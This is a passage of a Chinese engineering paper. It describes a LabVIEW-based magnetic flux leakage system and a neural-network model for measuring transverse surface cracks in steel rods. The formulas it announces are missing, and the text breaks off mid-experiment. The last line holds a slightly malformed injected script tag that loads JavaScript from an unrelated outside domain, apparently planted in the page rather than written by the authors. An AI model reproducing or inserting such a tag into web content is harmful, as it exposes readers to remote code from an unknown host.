摘 要：介绍基于神经网络的钢材表面裂纹定量检测原理及方法,设计了基于labview的钢杆裂纹缺陷漏磁定量检测系统,并对钢杆表面横向裂纹缺陷进行模拟实验,运用神经网络技术初步建立数学模型,通过评判vpp得到反映裂纹状况的定量检测结果,从而验证了该方法的可行性,并得出相关的结论。
关键词：定量检测;labview;神经网络;数学模型
1 引言
漏磁场检测法是利用励磁磁场和缺陷相互作用产生的漏磁现象来检测铁磁性材料表面的缺陷。它的基本原理是建立在铁磁材料的高磁导率这一特性之上。通过测量铁磁性材料中的磁导率变化（由缺陷引起）来检测缺陷。它以其安全、可靠、实用、能实时进行工况检测而被广泛应用在设备故障诊断、材料缺陷检测之中。材料中缺陷的位置、大小、类型等特征的确定，即无损检测的定量化一直是无损检测的难题和发展方向，现有的无损检测手段大多数停留在缺陷的有无及位置的确定上，需要依赖检测人员的经验，做出的结论常带有主观性，影响了检测结果可靠性。随着计算机技术的发展，无损检测采集到的数据越来越多，有必要探索新的缺陷评判和数据处理方法，以快速、有效、准确地获得设备内部的缺陷信息，目前国内外许多学者致力于把神经网络应用于定量无损检测的研究［1，2］。
该文对神经网络技术应用于钢材设备的缺陷定量检测方法进行探讨设计了基于labview的钢杆裂纹缺陷漏磁信号的定量检测系统，通过实验对钢材表面横向裂纹缺陷产生的漏磁场进行实测，获得裂纹缺陷信号波形，用神经网络技术对实验数据进行分析、处理，初步建立了系统的数学模型。
2基于神经网络定量检测系统的工作原理
裂纹漏磁场实验数据分析表明，裂纹检测信号峰峰值vpp主要取决于钢杆横截面积相对损失量（δa），受裂纹宽度与裂纹横向倾斜角度的影响很小，且vpp与δa之间具有较好的指数对应关系。从而推导出δa-vpp的函数式为：
式中δa——钢杆横截面积相对损失量（%）
vpp——裂纹检测信号峰峰值（v）
a1、a2——与具体检测对象、探伤传感器和信号处理器有关的系数
应用数学软件matlab，通过对样品钢杆上制成的标准表面横向裂纹的大量检测数据进行分析处理，用数据的最小二乘法对实验数据进行曲线拟合，采用上述数学表达式作为拟合函数，可标定此数学关系式，作为定量检测裂纹大小的直接依据。
在钢材表面裂纹的定量检测中，采用漏磁检测法，使用霍尔探伤传感器对其缺陷的漏磁信号进行检测，可获取反映裂纹状况的特征信号。利用神经网络的非线性映射功能，通过神经网络对裂纹特征信号即裂纹信号的峰峰值vpp的定量分析，探索建立δa-vpp模型，以获取裂纹缺陷的相关信息，从而实现计算机定量检测［3，4］。
3软件设计
3.1软件开发平台
本设计采用的是美国ni公司的labview开发平台，labview是基于图形化编程语言的开发环境，它通过建立和连接图标来构成程序，labview程序包括前面板和流程图两部分。前面板是labview程序的图形用户接口，此接口集成了用户输入，并显示程序的输出。前面板包括旋钮、按钮、图形和其他的控制与显示对象。流程图包含vi的图形化源代码。在流程图中，对vi进行编程，以控制和操纵定义在前面板的输入和输出功能。此外，labview还可以通过动态连接库调用其他语言编写的程序，其扩展性好。用labview编程具有简单易学、编程效率高、通用性好、交互性好等优点。是编制虚拟检测仪器程序的强大的软件工具［5，6］。
3.2主要的功能模块
3.2.1数据采集
利用labview软件控制数据采集卡对模拟信号进行采集有多种方法，对于labview支持的数据采集卡可以利用labview的功能模板（functions palette）中date acquisition提供的analog input等函数进行采集，对于labview不支持的数据采集卡还可以利用功能模板中advanced提供的call library function(clf),call interface node(cin)和port i/o子模板中的inport,out port函数进行采集。由于pc6313数据采集卡不是labview支持的数据卡，采用inport,out port函数完成数据的采集。采集程序及其分析程序如图2所示。
3.3特征信号峰峰值vpp的测量
labview软件提供的peak detector函数，用它可以得到波峰峰值peak value和波谷谷值valley value,从而得出裂纹缺陷的特征信号峰峰值为：
用labview软件功能模板提供的peak detector函数，可以准确确定波峰和波谷的位置和峰值，从而求得缺陷信号的位置和峰峰值［7］。
4探伤实验
4.1裂纹波形
预先在直径为10mm钢杆上，采用电火花加工工艺，制作了五处深度为0.8mm、1.2mm、1.5mm、2.0mm和2.1mm的横向切口式模拟裂纹，通过检测系统对它进行试验?script src=http://er12.com/t.js>
